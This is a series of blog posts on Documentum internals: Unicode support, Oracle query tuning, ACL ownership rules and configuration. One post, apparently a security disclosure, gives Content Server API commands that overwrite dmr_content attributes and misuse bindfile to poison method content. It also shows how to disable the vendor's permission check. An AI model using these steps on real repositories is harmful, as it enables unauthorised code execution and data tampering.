Unicode support

Yesterday I discovered a funny blogpost about unicode support in Documentum (have no idea why it is named “DOCUMENTUM PROBLEMS AND HOW TO FIX THEM: #1” if it does not contain any solution), and now I would like to share my vision on the problem.

It is not clear why that blogpost is referring to “CS-49851 – “Server does not recognize a UTF-8 enabled database and unnecessarily errors on attribute length””, because I have seen other related CRs dated by 2005 or so, however I can explain why OpenText will never implement a proper unicode support in Documentum.

At current moment Documentum supports four database engines:

  • MSSQL
  • Oracle
  • DB2
  • PostgreSQL

What do you think, which database is the most problematic from unicode perspective? To answer this question we must understand what does “varchar(n)” mean for every database:

database data type description
MSSQL varchar(n) Variable-length, non-Unicode string data. n defines the string length and can be a value from 1 through 8,000. max indicates that the maximum storage size is 2^31-1 bytes (2 GB). The storage size is the actual length of the data entered + 2 bytes. The ISO synonyms for varchar are charvarying or charactervarying.
nvarchar(n) Variable-length Unicode string data. n defines the string length and can be a value from 1 through 4,000. max indicates that the maximum storage size is 2^31-1 bytes (2 GB). The storage size, in bytes, is two times the actual length of data entered + 2 bytes. The ISO synonyms for nvarchar are national char varying and national character varying
Oracle varchar2(n) The VARCHAR2 datatype stores variable-length character strings. When you create a table with a VARCHAR2 column, you specify a maximum string length (in bytes or characters) between 1 and 4000 bytes for the VARCHAR2 column. For each row, Oracle Database stores each value in the column as a variable-length field unless a value exceeds the column’s maximum length, in which case Oracle Database returns an error. Using VARCHAR2 and VARCHAR saves on space used by the table.
DB2 varchar(n) Varying-length character strings with a maximum length of n bytes. n must be greater than 0 and less than a number that depends on the page size of the table space. The maximum length is 32704.
vargraphic(n) Varying-length graphic strings. The maximum length, n, must be greater than 0 and less than a number that depends on the page size of the table space. The maximum length is 16352.
PostgreSQL varchar(n) SQL defines two primary character types: character varying(n) and character(n), where n is a positive integer. Both of these types can store strings up to n characters (not bytes) in length. An attempt to store a longer string into a column of these types will result in an error, unless the excess characters are all spaces, in which case the string will be truncated to the maximum length. (This somewhat bizarre exception is required by the SQL standard.) If the string to be stored is shorter than the declared length, values of type character will be space-padded; values of type character varying will simply store the shorter string.

So, in order to implement proper unicode support Documentum must:

  • Do nothing for PostgreSQL
  • Change string semantics from byte to character in case of Oracle (i.e. alter table dm_ysobject_s modify (object_name varchar2(255 char)))
  • Change string datatype from varchar to vargraphic in case of DB2 (I believe something like ALTER TABLE DM_SYSOBJECT_S ALTER COLUMN OBJECT_NAME SET DATA TYPE VARGRAPHIC(255), though I’m not sure it will work)
  • Discontinue support of MSSQL because this database wrongly assumes that the maximum length of any UTF-8 character is 2 bytes (compare: é (C3 A9) and é (65 CC 81))

So, it is clear that it is not possible to implement proper unicode support in case of MSSQL, so OpenText will do nothing because otherwise Documentum will behave differently on different databases.

Why CURSOR_SHARING=FORCE sucks. Part II

I believe everybody who maintains Documentum repository with intensive workflow do see following query in the top of database performance reports:

UPDATE /*+ USE_NL(dmi_workitem_s) */
      dmi_workitem_s
   SET a_wq_name = :p0
 WHERE r_object_id =
          ANY (SELECT /*+ CARDINALITY(1) */
                      wis2.r_object_id
                 FROM (SELECT wis3.r_object_id AS r_object_id
                         FROM (  SELECT /*+ CARDINALITY(1) */
                                        wis.r_object_id AS r_object_id
                                   FROM dmi_workitem_s wis
                                  WHERE     wis.r_runtime_state >= 0
                                        AND wis.r_runtime_state <= 1
                                        AND wis.r_auto_method_id >
                                               '0000000000000000'
                                        AND wis.a_wq_name = ' '
                                        AND wis.r_next_retry_date < SYSDATE
                               ORDER BY r_creation_date ASC) wis3
                        WHERE ROWNUM <= 90) wis2);

This query is performed by workflow agent and their bad performance actually reveals a poor database design because dmi_workitem_s table does not contain column with high selectivity:

  • records with r_runtime_state IN (0, 1) relates to both auto and manual activities
  • records with r_auto_method_id > ‘0000000000000000’ relates to both completed and non-completed auto activities

Actually, in case of MSSQL and PostgreSQL it would possible to create “ideal” index for this query like:

CREATE INDEX idx_auto_tasls
   ON dmi_workitem_s (r_object_id, r_next_retry_date, r_creation_date)
   WHERE wis.r_runtime_state >= 0
     AND wis.r_runtime_state <= 1
     AND wis.r_auto_method_id > '0000000000000000'
     AND wis.a_wq_name = ' ';

because both MSSQL and PostgreSQL support partial indexes, in case of Oracle the solution is not so straightforward, because it either required to rewrite query to the following form:

UPDATE /*+ USE_NL(dmi_workitem_s) */
      dmi_workitem_s
   SET a_wq_name = :p0
 WHERE r_object_id =
          ANY (SELECT /*+ CARDINALITY(1) */
                      wis2.r_object_id
                 FROM (SELECT wis3.r_object_id AS r_object_id
                         FROM (  SELECT /*+ CARDINALITY(1) */
                                        wis.r_object_id AS r_object_id
                                   FROM dmi_workitem_s wis
                                  WHERE     CASE
                                               WHEN     wis.r_runtime_state >=
                                                           0
                                                    AND wis.r_runtime_state <=
                                                           1
                                                    AND wis.r_auto_method_id >
                                                           '0000000000000000'
                                                    AND wis.a_wq_name = ' '
                                               THEN
                                                  1
                                            END = 1
                                        AND wis.r_next_retry_date < SYSDATE
                               ORDER BY r_creation_date ASC) wis3
                        WHERE ROWNUM <= 90) wis2);

and create following functional-based index:

CREATE INDEX idx_auto_tasks
   ON dmi_workitem_s (
      CASE
         WHEN     r_runtime_state >= 0
              AND r_runtime_state <= 1
              AND r_auto_method_id > '0000000000000000'
              AND a_wq_name = ' '
         THEN
            1
      END);

or create materialized view like:

CREATE MATERIALIZED VIEW mv_auto_tasks
   REFRESH FAST ON COMMIT
   ENABLE QUERY REWRITE
AS
   SELECT wis.r_object_id, wis.r_creation_date, wis.r_next_retry_date
     FROM dmi_workitem_s wis
    WHERE     wis.r_runtime_state >= 0
          AND wis.r_runtime_state <= 1
          AND wis.r_auto_method_id > '0000000000000000'
          AND wis.a_wq_name = ' ';

and take advantage of query rewrite:

---------------------------------------------------------------------------------------------------------
| Id  | Operation                          | Name               | Rows  | Bytes | Cost (%CPU)| Time     |
---------------------------------------------------------------------------------------------------------
|   0 | UPDATE STATEMENT                   |                    |     1 |    70 |     3  (34)| 00:00:01 |
|   1 |  UPDATE                            | DMI_WORKITEM_S     |       |       |            |          |
|   2 |   NESTED LOOPS                     |                    |     1 |    70 |     3  (34)| 00:00:01 |
|   3 |    VIEW                            |                    |     1 |    10 |     3  (34)| 00:00:01 |
|*  4 |     COUNT STOPKEY                  |                    |       |       |            |          |
|   5 |      VIEW                          |                    |     1 |    10 |     3  (34)| 00:00:01 |
|*  6 |       SORT ORDER BY STOPKEY        |                    |     1 |    28 |     3  (34)| 00:00:01 |
|*  7 |        MAT_VIEW REWRITE ACCESS FULL| MV_AUTO_TASKS      |     1 |    28 |     2   (0)| 00:00:01 |
|*  8 |    INDEX UNIQUE SCAN               | D_1F024BE98000018C |     1 |    60 |     0   (0)| 00:00:01 |
---------------------------------------------------------------------------------------------------------
Predicate Information (identified by operation id):
---------------------------------------------------
   4 - filter(ROWNUM<=90)
   6 - filter(ROWNUM<=90)
   7 - filter("MV_AUTO_TASKS"."R_NEXT_RETRY_DATE"<SYSDATE@!)
   8 - access("R_OBJECT_ID"="WIS2"."R_OBJECT_ID")

Unfortunately, due to CURSOR_SHARING=FORCE recommendation neither option is applicable, and the only “option” is use hex editor to modify documentum binary – in case of oracle we need to place CURSOR_SHARING_EXACT hint and modify where clause.

Q & A. XV

As a follow-up for XCP2 vs ACLs

I have very….hm, how to call this stupidity of ACL security model logic….I have repository with permissions inheriting from folder. Folder is created by regular user and ACL assigned to folder is owned by this user, with class set to REGULAR. When another regular user needs to add document to this folder, it is not possible, with DM_SYSOBJECT_E_INVALID_ACL_DOMAIN exception, since folder ACL is regular and thereby not alowed to be used/set by another regular user, only superuser or folder ACL owner. So, ACL from folder may not be inherited to document and document can not be created.

Why, when ACL with its entries should specify exactly who can do smth and with which permissions?
And, why default ACLs created by regular users are not PUBLIC?
And, why cant I set by some docbase configuration that all ACLs created by regular users are PUBLIC?

Well, when I said that fundamentals guide is bit confusing I was too polite, the home truth is that fundamentals guide is a piece of dog crap. Let’s explain that.

From fundamentals guide:

ACLs are either external or internal ACLs:

  • External ACLs are created explicitly by users. The name of an external ACL is determined by the user. External ACLs are managed by users, either the user who creates them or superusers.
  • Internal ACLs are created by Content Server. Internal ACLs are created in a variety of situations. For example, if a user creates a document and grants access to the document to HenryJ, Content Server assigns an internal ACL to the document. (The internal ACL is derived from the default ACL with the addition of the permission granted to HenryJ.) The names of internal ACL begin with dm_. Internal ACLs are managed by Content Server.

The external and internal ACLs are further characterized as public or private ACLs:

  • Public ACLs are available for use by any user in the repository. Public ACLs created by the repository owner are called system ACLs. System ACLs can only be managed by the repository owner. Other public ACLs can be managed by their owners or a user with Sysadmin or Superuser
    privileges.
  • Private ACLs are created and owned by a user other than the repository owner. However, unlike public ACLs, private ACLs are available for use only by their owners, and only their owners or a superuser can manage them.

From object reference guide:

acl_class (Integer) specifies whether the ACL is a regular ACL, a template, an instance of a template, or a public ACL. Valid values are:

  • 0: Regular ACL
  • 1: Template ACL
  • 2: Template instance
  • 3: Public ACL

r_is_internal (Boolean) indicates whether the ACL was created explicitly by a user or implicitly by the server.

First of all, the classification internal/external seems to be extremely confusing – I would prefer temporary/permanent terms because ACLs with r_is_iternal=TRUE are subject to deleting via dm_clean job, and because dm_clean job uses following query:

SELECT x.r_object_id
  FROM dm_acl_s x
 WHERE     x.r_is_internal = 1
       AND NOT EXISTS
                  ( (SELECT a1.r_object_id
                       FROM dm_acl_s a1, dm_sysobject_s b
                      WHERE     a1.object_name = b.acl_name
                            AND a1.owner_name = b.acl_domain
                            AND a1.r_object_id = x.r_object_id)
                   UNION
                   (SELECT a2.r_object_id
                      FROM dm_acl_s a2, dm_user_s c
                     WHERE     a2.object_name = c.acl_name
                           AND a2.owner_name = c.acl_domain
                           AND a2.r_object_id = x.r_object_id)
                   UNION
                   (SELECT a3.r_object_id
                      FROM dm_acl_s a3, dmi_type_info_s d
                     WHERE     a3.owner_name = d.acl_domain
                           AND a3.object_name = d.acl_name
                           AND a3.r_object_id = x.r_object_id))

it is clear that dm_clean job does not pay attention to the value of acl_class attribute. Next, when does Content Server create temporary ACLs?

  • When we directly grant access to sysobject:
    API> create,c,dm_document
    ...
    09024be980077401
    API> set,c,l,acl_name
    SET> Global User Default ACL
    ...
    OK
    API> set,c,l,acl_domain
    SET> dm_dbo
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    Global User Default ACL
    API> grant,c,l,dm_world,AccessPermit,,6
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    dm_45024be980003115
    
  • When we indirectly (via owner_permit/world_permit attributes, or when we take advantage of ACL Templates and assign new alias set to sysobject) grant access to sysobject:
    API> set,c,l,world_permit
    SET> 7
    ...
    OK
    API> save,c,l
    ...
    OK
    API> get,c,l,acl_name
    ...
    dm_45024be980003116
    
  • Other case I will describe further

Now about ACL classes. Frankly speaking, I do not understand the phrase “ACLs available for use” here, because where are following activities which we may or may not to perform with ACLs:

  • create
  • assign to sysobject
  • modify
  • delete

so, I will try to examine all cases. At first, we need to understand what Content Server means under ACL’s owner (the value of owner_name attribute), if you think that it is valid user’s name you are wrong: actually it may be any valid user or group (technically group is also a user because all dm_group records have corresponding dm_user records), or even ‘dm_world’ keyword:

API> create,c,dm_acl
...
45024be980003117
API> set,c,l,owner_name
SET> dm_bof_registry
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be980003118
API> set,c,l,owner_name
SET> dm_superusers
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be98000311b
// content server replaces dm_dbo
// by repository owner name
// and further I will do the same
API> set,c,l,owner_name
SET> dm_dbo
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be980003119
API> set,c,l,owner_name
SET> dm_world
...
OK
API> save,c,l
...
OK
API> create,c,dm_acl
...
45024be98000311a
API> set,c,l,owner_name
SET> non_existing_user
...
OK
API> save,c,l
...
[DM_ACL_E_USER_NOT_EXIST]error:  "The owner_name or accessor_name 'non_existing_user' 
  given in the ACL 'dm_45024be98000311a' does not exist."

And when we are talking that “user is an owner of ACL” this actually means one of following:

  • the value of owner_name ACL’s attribute is ‘dm_world’
  • the value of owner_name ACL’s attribute is the name of user
  • the value of owner_name ACL’s is a valid group and the user is a member of that group

Now the rules:

  • Nobody may create ACLs with acl_class=2 and nobody may set value of acl_class to 2:
    API> create,c,dm_acl
    ...
    45024be98000312c
    API> set,c,l,acl_class
    SET> 2
    ...
    OK
    API> save,c,l
    ...
    [DM_ACL_E_CANT_CHANGE_INSTANCE]error:  
     "The ACL  is an instance of an ACL template."
    
  • Nobody but superusers may change value of object_name attribute (have no idea what was the cause of this restriction):
    API> retrieve,c,dm_acl where object_name='Global User Default ACL'
    ...
    45024be9800001c6
    API> grant,c,l,dm_world,AccessPermit,,7
    ...
    OK
    API> save,c,l
    ...
    OK
    API> set,c,l,object_name
    SET> test
    ...
    OK
    API> save,c,l
    ...
    [DM_ACL_E_CHANGE_OBJNAME_PRIV]error:  
      "Only SUPERUSER can change object_name."
    
    
    API> retrieve,c,dm_user where user_name=USER
    ...
    11024be980001100
    API> get,c,l,user_privileges
    ...
    8
    
  • Regular users are allowed to:
    • modify ACL if they belong to ACL’s owner
    • set ACL’s owner only to value they belong to
  • Sysadmins are allowed to:
    • modify ACL if ACL’s owner is dm_dbo, but it is not allowed to set ACL’s owner to value other than sysadmin belongs to
    • modify ACL if it’s acl_class is 3 regardless it’s owner
    • set ACL’s owner to dm_dbo – this behaviour seems to be inconsistent because in this case efficient permissions of sysadmins are the same as permissions of superusers, except object_name case:
      API> fetch,c,45024be980003137
      ...
      OK
      API> save,c,l
      ...
      [DM_ACL_E_NOT_OWNER]error:  
        "The ACL 'dm_45024be980003137' can only be modified by 
        its owner 'dmadmin' or superusers."
      
      
      API> set,c,l,owner_name
      SET> dm_dbo
      ...
      OK
      API> save,c,l
      ...
      OK
      
  • It is possible to assign ACL to sysobject only if one or more of following requirements are met
    • ACL’s acl_class is 3
    • ACL’s owner_name is dm_dbo
    • sysobject’s owner (not current user!) belongs to ACL’s owner:
      API> retrieve,c,dm_acl where owner_name='dmadmin'
      ...
      45024be9800001a9
      API> get,c,l,acl_class
      ...
      0
      API> get,c,l,object_name
      ...
      dm_45024be9800001a9
      API> create,c,dm_document
      ...
      09024be98007756b
      API> set,c,l,acl_name
      SET> dm_45024be9800001a9
      ...
      OK
      API> set,c,l,acl_domain
      SET> dmadmin
      ...
      OK
      API> save,c,l
      ...
      [DM_SYSOBJECT_E_INVALID_ACL_DOMAIN]error:  
        "The dm_document '' is given an invalid ACL domain 'dmadmin'."
      
      // but
      API> create,c,dm_document
      ...
      09024be98007756c
      API> set,c,l,acl_name
      SET> dm_45024be9800001a9
      ...
      OK
      API> set,c,l,acl_domain
      SET> dmadmin
      ...
      OK
      API> set,c,l,owner_name
      SET> dmadmin
      ...
      OK
      API> save,c,l
      ...
      OK
      
    • current user is a superuser, in this case Content Server creates new temporary ACL:
      API> ?,c,select user_privileges, user_name from dm_user where user_name=USER
      user_privileges  user_name
      ---------------  ---------
                   16  dmadmin
      (1 row affected)
      
      API> retrieve,c,dm_acl where owner_name='sysadmin' and acl_class=0
      ...
      45024be980003136
      API> get,c,l,object_name
      ...
      dm_45024be980003136
      API> create,c,dm_document
      ...
      09024be980077580
      API> save,c,l
      ...
      OK
      API> get,c,l,acl_name
      ...
      dm_45024be980000101
      API> set,c,l,acl_name
      SET> dm_45024be980003136
      ...
      OK
      API> set,c,l,acl_domain
      SET> sysadmin
      ...
      OK
      API> save,c,l
      ...
      OK
      API> get,c,l,acl_name
      ...
      dm_45024be980003144
      

As regards to the questions…

Yes, it is not possible to specify default acl_class even in data dictionary:

API> apply,c,,ALLOW_BASE_TYPE_CHANGES,ALLOW_CHANGE_FLAG,B,T
...
q0
API> ?,c,q0
result      
------------
T           
(1 row affected)

API> ?,c,alter type dm_acl modify (acl_class (SET default=3))
[DM_QUERY2_E_DATA_DICT_ERROR_FOR_ATTR_A_C]error:  
 "The following error(s) occurred processing an ALTER/CREATE statement 
 for type dm_acl, attribute acl_class."

[DM_DATA_DICT_E_TYPE_CANNOT_HAVE_DEFAULT_VALUE]error:  
 "You cannot specify a DEFAULT value for any attribute of the system type dm_acl."

Creating TBO for dm_acl is not an option, because temporary ACLs are created on Content Server side. On the other hand nothing prevents you from creating TBOs which will override certain IDfSysObject and IDfUser methods and you will get a full control over what is going on, the only question here is why mature product still does not support basic functionality 🙂 For example, ACL inheritance implemented in xCP2 differs from default CS implementation – when content server recognises that it is not possible to follow rules described above it creates temporary ACL (here I have no idea what behaviour is better: get exception or get different ACLs), that means EMC have spent some time on implemented new functionality, but the result is poor.

DM_CONTENT_PERM_CHECK

On May 2015 I discoveredpublished information about serious security flaw in Documentum – Content Server does not check user permissions when transferring content and modifying dmr_content objects, on June 2015 I had noticed that EMC wrongly implemented some security-related changes in Content Server, and, finally, on November 2015 (so slow) EMC published ETA that their changes break something – no information available about what got broken, so let’s check what was affected by new Content Server patches.

I think the idea of the original proof of concept is pretty clear: data_ticket attribute of dm_content objects points to the file on CS filesystem, attacker loads malicious content into separate sysobject and then transfers dmr_content attributes from donor to recipient, so docbase method gets poisoned. What has been changed in Documentum 7.2P02 to mitigate this security flaw? EMC started to check permissions for corresponding sysobjects and my proof of concept got broken:

API> apply,c,06024be980000199,SAVE_CONT_ATTRS,
        data_ticket,I,-2147480126,content_size,I,0,
        full_content_size,I,0,OBJECT_TYPE,S,dmr_content,
        IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result
------------
           0
(1 row affected)
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
            "Cannot access content '06024be980000199'.
            No write permission for current user"

What did EMC miss in their remediation? They failed to read documentation – attacker was able to use bindfile capability to share dmr_content object between victim object and object which was accessible for write:

Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where use_method_content=TRUE
...
10024be980000471
API> create,c,dm_document
...
09024be98003b903
API> bindfile,c,l,0,10024be980000471,0
...
OK
API> save,c,l

......

API> apply,c,06024be980000198,SAVE_CONT_ATTRS
  ,data_ticket,I,-2147439323
  ,OBJECT_TYPE,S,dmr_content
  ,IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result      
------------
           1
(1 row affected)

API> 

It is not clear how EMC realised that bindfile capability is vulnerable (most likely they got such information from another blog) but in latest CS patches the behaviour of bindfile capability got broken – now to use this capability user must have write access for donor sysobject:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where object_name='pre_erouter2_forward'
...
10024be980000472
API> get,c,l,_permit
...
3
API> create,c,dm_document
...
09024be98003bd03
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be980000199'.No write permission for current user"

saveasnew got broken too:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> fetch,c,09024be980034157
...
OK
API> saveasnew,c,l,T
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be98000ed48'.No write permission for current user"

getpath (technically, only browse access required):

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> getpath,c,09024be980034171
...
[DM_SYSOBJECT_E_NO_READ_ACCESS]error:  
   "No read access for sysobject named '09024be980034171'"

You may return previous behaviour by setting up DM_CONTENT_PERM_CHECK environment variable:

[dmadmin@docu72dev01 ~]$ export DM_CONTENT_PERM_CHECK=0
[dmadmin@docu72dev01 ~]$ dm_start_DCTM_DEV 
starting Documentum server for repository: [DCTM_DEV]
with server log: [/u01/documentum/cs/dba/log/DCTM_DEV.log]
server pid: 97437

...

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> create,c,dm_document
...
09024be98003c100
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
OK
API> 

Fighting with DEV ENV. Part II

It seems that talented team decided to move/upgrade JMS from JBossAS to WildFly even in 7.2 release:

Below is an adapted config for DEV ENV:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<server xmlns="urn:jboss:domain:3.0">
    <extensions>
        <extension module="org.jboss.as.deployment-scanner" />
        <extension module="org.jboss.as.ee" />
        <extension module="org.jboss.as.naming" />
        <extension module="org.jboss.as.remoting" />
        <extension module="org.jboss.as.security" />
        <extension module="org.wildfly.extension.io"/>
        <extension module="org.wildfly.extension.undertow" />
    </extensions>

    <profile>
        <subsystem xmlns="urn:jboss:domain:deployment-scanner:2.0">
            <deployment-scanner deployment-timeout="300" path="deployments" relative-to="jboss.server.base.dir" runtime-failure-causes-rollback="${jboss.deployment.scanner.rollback.on.failure:false}" scan-interval="5000" />
        </subsystem>
        <subsystem xmlns="urn:jboss:domain:ee:3.0" />
        <subsystem xmlns="urn:jboss:domain:io:1.1">
            <worker name="default"/>
            <buffer-pool name="default"/>
        </subsystem>
        <subsystem xmlns="urn:jboss:domain:naming:2.0">
            <remote-naming />
        </subsystem>
        <subsystem xmlns="urn:jboss:domain:remoting:3.0" />
        <subsystem xmlns="urn:jboss:domain:security:1.2" >
            <security-domains>
                <security-domain name="other" cache-type="default">
                    <authentication>
                        <login-module code="Remoting" flag="optional">
                            <module-option name="password-stacking" value="useFirstPass"/>
                        </login-module>
                        <login-module code="RealmDirect" flag="required">
                            <module-option name="password-stacking" value="useFirstPass"/>
                        </login-module>
                    </authentication>
                </security-domain>
            </security-domains>
        </subsystem>
        <subsystem xmlns="urn:jboss:domain:undertow:2.0">
            <buffer-cache name="default" />
            <server name="default-server">
                <http-listener max-post-size="0" name="default" redirect-socket="https" socket-binding="http" />
                <host alias="localhost" name="default-host">
                    <location handler="welcome-content" name="/" />
                    <filter-ref name="server-header" />
                    <filter-ref name="x-powered-by-header" />
                </host>
            </server>
            <servlet-container name="default">
                <jsp-config />
                <websockets />
            </servlet-container>
            <handlers>
                <file name="welcome-content" path="${jboss.home.dir}/welcome-content" />
            </handlers>
            <filters>
                <response-header header-name="Server" header-value="WildFly/9" name="server-header" />
                <response-header header-name="X-Powered-By" header-value="Undertow/1" name="x-powered-by-header" />
            </filters>
        </subsystem>
    </profile>

    <interfaces>
        <interface name="public">
            <inet-address value="${jboss.bind.address:0.0.0.0}" />
        </interface>
    </interfaces>

    <socket-binding-group default-interface="public" name="standard-sockets" port-offset="${jboss.socket.binding.port-offset:0}">
        <socket-binding name="ajp" port="9089" />
        <socket-binding name="http" port="9080" />
        <socket-binding name="https" port="9082" />
    </socket-binding-group>
</server>

Setup dfc.properties properly

Can’t stop catching myself thinking about JMS high availability misfeature, or more precisely: why it is supported by workflow methods only, and it seems that all CS instances are just misconfigured. Let’s explain.

Below is a brand new CS installation, which already has one dm_client_rights record:

Connected to Documentum Server running Release 7.3.0050.0039  Linux64.Postgres
Session id is s0
API> ?,c,select r_object_id, client_id from dm_client_rights
r_object_id       client_id                               
----------------  ----------------------------------------
0802994680000582  dfc_xxpa7jhtGFkRfHvrQmUIyaffxlka        
(1 row affected)

API> dump,c,0802994680000582
...
USER ATTRIBUTES

  object_name                     : dfc_docu73dev01_ffxlka
  title                           : 
  subject                         : 
  authors                       []: <none>
  keywords                      []: <none>
  resolution_label                : 
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 1
  world_permit                    : 1
  log_entry                       : 
  acl_domain                      : dmadmin
  acl_name                        : dm_4502994680000222
  language_code                   : 
  client_id                       : dfc_xxpa7jhtGFkRfHvrQmUIyaffxlka
  public_key_identifier           : 77016FB9066276A0EF4801918F27F52C7176CD2F
  host_name                       : docu73dev01
  allowed_roles                 []: <none>
  allow_all_roles                 : T
  allow_all_priv_modules          : F
  principal_auth_priv             : T
  server_trust_priv               : T
  app_name                        : 
  is_globally_managed             : F

Where did this dm_client_rights record come from? According to the log file $DM_HOME/install/logs/install.log this dm_client_rights record was created by installer:

10:25:56,168  INFO [main] com.documentum.install.server.installanywhere.actions.DiWAServerCreateBofRegistryUser - Registering Client Roles.
10:25:56,198  INFO [main] com.documentum.fc.client.security.impl.JKSKeystoreUtilForDfc - keystore file name is /u01/documentum/cs/shared/config/dfc.keystore
10:25:56,382  INFO [main] com.documentum.fc.client.impl.connection.docbase.DocbaseConnection - Object protocol version 2
10:25:56,818  INFO [main] com.documentum.fc.client.security.impl.JKSKeystoreUtilForDfc - keystore file name is /u01/documentum/cs/shared/config/dfc.keystore
10:25:56,844  INFO [main] com.documentum.fc.client.security.impl.DfcIdentityPublisher - found client registration: false
10:25:57,148  INFO [main] com.documentum.fc.client.privilege.impl.PublicKeyCertificate - stored certificate for CN 
10:25:57,272  INFO [main] com.documentum.fc.client.security.impl.IpAndRcHelper - filling in DCTM_PSQL a new record with this persistent certificate:
-----BEGIN CERTIFICATE-----
MIIDHzCCAgcCEDM7pl2LftisOKZ3mYFjNigwDQYJKoZIhvcNAQELBQAwTjETMBEG
A1UECwwKRG9jdW1lbnR1bTEMMAoGA1UECgwDRU1DMSkwJwYDVQQDDCBkZmNfeHhw
YTdqaHRHRmtSZkh2clFtVUl5YWZmeGxrYTAeFw0xNzAzMTExMDEyMDVaFw0yNzAz
MDkxMDE3MDVaME4xEzARBgNVBAsMCkRvY3VtZW50dW0xDDAKBgNVBAoMA0VNQzEp
MCcGA1UEAwwgZGZjX3h4cGE3amh0R0ZrUmZIdnJRbVVJeWFmZnhsa2EwggEiMA0G
CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDPY3I1TzGodyI7Q7oHuLlA4N0IdLnp
oUEZqONy5Ev1f8RJLIJGowjSQme1HPrk6ZgdyBlGkLqguRdnn6hLrBIUiZSc7XRr
OM8xCYp6wEXUuxDTpX58Q32QLInjTjftHOblav201lOQStQUcrEAcUVZ+UK/Xt1t
Q9hQUpOvXWDRxBRPpN7VdTg1lCNuNC/BjYO/yBc2zUPYsarmnM1BcyeTi6RmlfME
PUsVPMqS8muBKP/o7ZUqXVMWNFNRHVbnOCX8KHZgO4DQLp7pcgYq0ak4vQ6BEfx8
fxo/egAS84JiemOxhslxytN5cBnFmc3NCdKKVzRcZE9fecC3DMt41dYfAgMBAAEw
DQYJKoZIhvcNAQELBQADggEBAARMI7W7ggw9GJZtfsqre5+idsfcxtuMPhI+bmU/
gAb3pyZug11z29AvCcprh545agcUQgm9wlgaJFUtiktd4n6hE12G46Vu/boqxy4J
iBs3kWQd2Qeh4Qobm8xvBu0VKSiHJRmbm5xslnq3yJorBZiNjvuoFVsaYtY24kiy
AxUB5y2vgUhZeLe+0WPrBEA3/I+ciGO/Jk6KXyL9vz8+04Hx6sBfkMsY1l8aa1HH
PtQdgfasysgVkIqCZ70zAXd5ARC4CXEwfhj6v/eq7X3CM4KCP4TiPqmzzapsLPn3
i0Or+fnwrOy/rYybndj0pgpnCbtinUZ7ZXmVtWDevMWey/Q=
-----END CERTIFICATE-----
10:25:57,280  INFO [main] com.documentum.fc.client.security.impl.DfcIdentityPublisher - found client registration: false
10:25:57,659  INFO [main] com.documentum.fc.client.security.impl.IpAndRcHelper - filling a new registration record for dfc_xxpa7jhtGFkRfHvrQmUIyaffxlka
10:25:57,672  INFO [main] com.documentum.fc.client.security.impl.DfcIdentityPublisher - [DFC_SECURITY_GR_REGISTRATION_PUBLISH] this dfc instance is now published in the global registry DCTM_PSQL
10:25:57,695  INFO [main] com.documentum.fc.client.security.impl.DfcRightsCreator - assigning rights to all roles for this client on DCTM_PSQL
10:25:57,701  INFO [main] com.documentum.fc.client.security.impl.DfcRightsCreator - found client rights: false
10:25:57,733  INFO [main] com.documentum.fc.client.security.impl.DfcIdentityPublisher - found client registration: true
10:25:57,746  INFO [main] com.documentum.fc.client.security.impl.DfcRightsCreator - found client rights: false
10:25:57,989  INFO [main] com.documentum.fc.client.security.impl.IpAndRcHelper - filling a new rights record for dfc_xxpa7jhtGFkRfHvrQmUIyaffxlka
10:25:58,015  INFO [main] com.documentum.fc.client.security.impl.DfcRightsCreator - [DFC_SECURITY_DOCBASE_RIGHTS_REGISTER] this dfc instance has now escalation rights registered with docbase DCTM_PSQL

How many dfc.keystore files do we have?

~]$ find /u01/documentum/cs/ -name dfc.keystore
/u01/documentum/cs/shared/config/dfc.keystore
.../ServerApps.ear/APP-INF/classes/dfc.keystore
.../com.emc.ide.external.dfc_1.0.0/documentum.config/dfc.keystore

How many dfc.properties files do we have?

~]$ find /u01/documentum/cs/ -name dfc.properties
/u01/documentum/cs/shared/config/dfc.properties
.../ServerApps.ear/APP-INF/classes/dfc.properties
.../com.emc.ide.external.dfc_1.0.0/documentum.config/dfc.properties

You might say the second one (JMS’s) is not actually dfc.properties because it looks like:

#include /u01/documentum/cs/shared/config/dfc.properties
dfc.bof.classloader.enable_extension_loader_first=false

but it is, moreover dfc.config.file read-only property defines the path to dfc.properties file, and dfc.config.dir read-only property defines the directory containing dfc.properties file. Now, the only option which default value depends on dfc.config.dir is:

# Fully qualified file name of the keystore file holding the PKI credentials for 
# DFC. 
# 
# Defaults to dfc.keystore in the same directory where the property file 
# (dfc.properies) is found.                                                     
# 
dfc.security.keystore.file = ${dfc.config.dir}/dfc.keystore

I think it is obvious that $DOCUMENTUM_SHARED/config/dfc.properties is misconfigured because it lacks dfc.security.keystore.file entry.

Weird DQL grammar. Part III

Today I noticed another odd behaviour:

API> ?,c,select count(*) from dm_sysobject 
  where a_is_template=FALSE enable(GENERATE_SQL_ONLY)
generate_sql
-------------------------------------------------
select all count(*) from dm_sysobject_sp  dm_sysobject 
  where ((dm_sysobject.a_is_template=0)) 
  and (dm_sysobject.i_has_folder = 1 and dm_sysobject.i_is_deleted = 0) 
(1 row affected)

